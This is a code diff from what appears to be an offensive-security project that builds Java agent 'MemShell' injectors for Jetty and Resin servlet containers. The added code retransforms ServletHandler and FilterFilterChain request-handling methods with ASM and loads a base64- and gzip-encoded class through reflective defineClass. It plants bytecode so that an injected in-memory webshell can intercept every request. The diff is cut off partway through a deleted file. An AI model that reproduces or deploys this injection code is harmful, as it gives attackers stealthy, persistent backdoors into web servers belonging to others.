|
||||||
}
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
@@ -44,21 +42,256 @@ public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
|
|||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
new AgentBuilder.Default()
|
inst.addTransformer(new JettyHandlerAgentInjector(), true);
|
||||||
.ignore(ElementMatchers.none())
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
.disableClassFormatChanges()
|
String name = allLoadedClass.getName();
|
||||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
targetClassName = name;
|
||||||
.type(named("org.eclipse.jetty.servlet.ServletHandler"))
|
if (targetClassName.contains("mortbay")) {
|
||||||
.transform(new JettyHandlerAgentInjector())
|
targetMethodName = "handle";
|
||||||
.installOn(inst);
|
}
|
||||||
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
|
if (targetClassName.contains("ee10")) {
|
||||||
|
targetMethodName = "doFilter";
|
||||||
|
}
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
System.out.println("MemShell Agent is working at " + targetClassName + "." + targetMethodName);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASSES.contains(className)) {
|
||||||
|
if (className.contains("mortbay")) {
|
||||||
|
targetMethodName = "handle";
|
||||||
|
}
|
||||||
|
if (className.contains("ee10")) {
|
||||||
|
targetMethodName = "doFilter";
|
||||||
|
}
|
||||||
|
defineTargetClass(loader);
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (targetMethodName.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
Type argumentType = argumentTypes[i];
|
||||||
|
mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
boxPrimitive(mv, argumentType);
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void boxPrimitive(MethodVisitor mv, Type type) {
|
||||||
|
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
|
||||||
|
return; // Already an object
|
||||||
|
}
|
||||||
|
|
||||||
|
String owner;
|
||||||
|
String descriptor;
|
||||||
|
|
||||||
|
switch (type.getSort()) {
|
||||||
|
case Type.BOOLEAN:
|
||||||
|
owner = "java/lang/Boolean";
|
||||||
|
descriptor = "(Z)Ljava/lang/Boolean;";
|
||||||
|
break;
|
||||||
|
case Type.CHAR:
|
||||||
|
owner = "java/lang/Character";
|
||||||
|
descriptor = "(C)Ljava/lang/Character;";
|
||||||
|
break;
|
||||||
|
case Type.BYTE:
|
||||||
|
owner = "java/lang/Byte";
|
||||||
|
descriptor = "(B)Ljava/lang/Byte;";
|
||||||
|
break;
|
||||||
|
case Type.SHORT:
|
||||||
|
owner = "java/lang/Short";
|
||||||
|
descriptor = "(S)Ljava/lang/Short;";
|
||||||
|
break;
|
||||||
|
case Type.INT:
|
||||||
|
owner = "java/lang/Integer";
|
||||||
|
descriptor = "(I)Ljava/lang/Integer;";
|
||||||
|
break;
|
||||||
|
case Type.FLOAT:
|
||||||
|
owner = "java/lang/Float";
|
||||||
|
descriptor = "(F)Ljava/lang/Float;";
|
||||||
|
break;
|
||||||
|
case Type.LONG:
|
||||||
|
owner = "java/lang/Long";
|
||||||
|
descriptor = "(J)Ljava/lang/Long;";
|
||||||
|
break;
|
||||||
|
case Type.DOUBLE:
|
||||||
|
owner = "java/lang/Double";
|
||||||
|
descriptor = "(D)Ljava/lang/Double;";
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
// Should not happen for primitive types
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
-97
@@ -1,97 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.jetty;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doHandle";
|
|
||||||
|
|
||||||
static Constructor<?> constructor = null;
|
|
||||||
|
|
||||||
static {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = Class.forName(getClassName());
|
|
||||||
constructor = clazz.getConstructors()[0];
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public JettyHandlerAgentWithAsmInjector() {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+197
-37
@@ -1,39 +1,28 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.resin;
|
package com.reajason.javaweb.memshell.injector.resin;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import org.objectweb.asm.*;
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.utility.JavaModule;
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
|
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||||
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
static {
|
|
||||||
try {
|
|
||||||
interceptorClass = Class.forName(getClassName());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
public static String getBase64String() {
|
||||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
return "{{base64String}}";
|
||||||
TypeDescription typeDescription,
|
|
||||||
ClassLoader classLoader, JavaModule module,
|
|
||||||
ProtectionDomain protectionDomain) {
|
|
||||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
@@ -44,20 +33,191 @@ public class ResinFilterChainAgentInjector implements AgentBuilder.Transformer {
|
|||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
new AgentBuilder.Default()
|
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||||
.ignore(ElementMatchers.none())
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
String name = allLoadedClass.getName();
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
inst.retransformClasses(allLoadedClass);
|
||||||
.type(named("com.caucho.server.dispatch.FilterFilterChain"))
|
}
|
||||||
.transform(new ResinFilterChainAgentInjector())
|
}
|
||||||
.installOn(inst);
|
|
||||||
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
System.out.println("MemShell Agent is working at com.caucho.server.dispatch.FilterFilterChain.doFilter");
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
-97
@@ -1,97 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.resin;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class ResinFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
|
||||||
|
|
||||||
static Constructor<?> constructor = null;
|
|
||||||
|
|
||||||
static {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = Class.forName(getClassName());
|
|
||||||
constructor = clazz.getConstructors()[0];
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public ResinFilterChainAgentWithAsmInjector() {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
